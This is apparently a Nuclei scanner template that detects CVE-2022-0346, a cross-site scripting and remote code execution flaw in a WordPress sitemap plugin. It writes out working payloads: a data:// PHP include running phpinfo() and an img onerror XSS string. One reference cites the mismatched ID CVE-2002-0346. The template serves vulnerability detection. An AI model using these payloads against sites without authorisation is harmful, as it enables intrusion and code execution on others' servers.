id: CVE-2022-0346

info:
  name: Google XML Sitemap Generator < 2.0.4 - Cross-Site Scripting & RCE
  author: Akincibor
  severity: medium
  description: |
    The plugin does not validate a parameter which can be set to an arbitrary value, thus causing XSS via error message or RCE if allow_url_include is turned on.
  reference:
    - https://wpscan.com/vulnerability/4b339390-d71a-44e0-8682-51a12bd2bfe6
    - https://wordpress.org/plugins/www-xml-sitemap-generator-org/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0346
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0346
    cwe-id: CWE-79
  metadata:
    verified: true
  tags: cve,cve2022,xss,wp,wordpress,wp-plugin,wpscan

requests:
  - method: GET
    path:
      - '{{BaseURL}}/?p=1&xsg-provider=data://text/html,%3C?php%20phpinfo();%20//&xsg-format=yyy&xsg-type=zz&xsg-page=pp'
      - '{{BaseURL}}/?p=1&xsg-provider=%3Cimg%20src%20onerror=alert(document.domain)%3E&xsg-format=yyy&xsg-type=zz&xsg-page=pp'

    stop-at-first-match: true
    req-condition: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains(body_1, 'PHP Extension') || contains(body_1, 'PHP Version')"
          - "status_code==200 && contains(body_2, '<img src onerror=alert(document.domain)>') && contains(body_2, ' type specified')"
        condition: or

      - type: word
        part: header
        words:
          - text/html

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '>PHP Version <\/td><td class="v">([0-9.]+)'